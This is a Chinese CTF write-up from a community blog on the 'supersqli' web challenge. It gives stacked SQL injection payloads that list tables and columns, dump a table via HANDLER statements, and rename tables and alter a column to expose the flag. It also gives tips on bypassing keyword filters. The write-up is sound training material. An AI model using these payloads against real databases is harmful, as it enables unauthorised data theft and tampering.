【愚公系列】2022年01月 攻防世界-进阶题-WEB-012(supersqli)
【摘要】 一、supersqli题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1 二、使用步骤 1.点击获取在线场景 2.进入场景输入1’发现不回显,然后1’ #显示正常,判断是存在sql注入了order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用1'...
一、supersqli
题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1
二、使用步骤
1.点击获取在线场景
2.进入场景
输入1’发现不回显,然后1’ #显示正常,判断是存在sql注入了
order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用1' union select 1,2,#
进行联合查询,发现关键字被正则过滤
尝试堆叠注入-1';show tables #
查询两张表名字段
-1';show columns from `1919810931114514` #
-1';show columns from `words` #
3.构造注入语句
第一种方式:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
第二种方式:
//修改表
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
//在查询
1' or 1=1#
总结
知识点总结
-
MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号:show columns from
1919810931114514
-
MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT,也就是预处理语句
-
字符拼接函数可以考虑用来绕过关键字检查
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)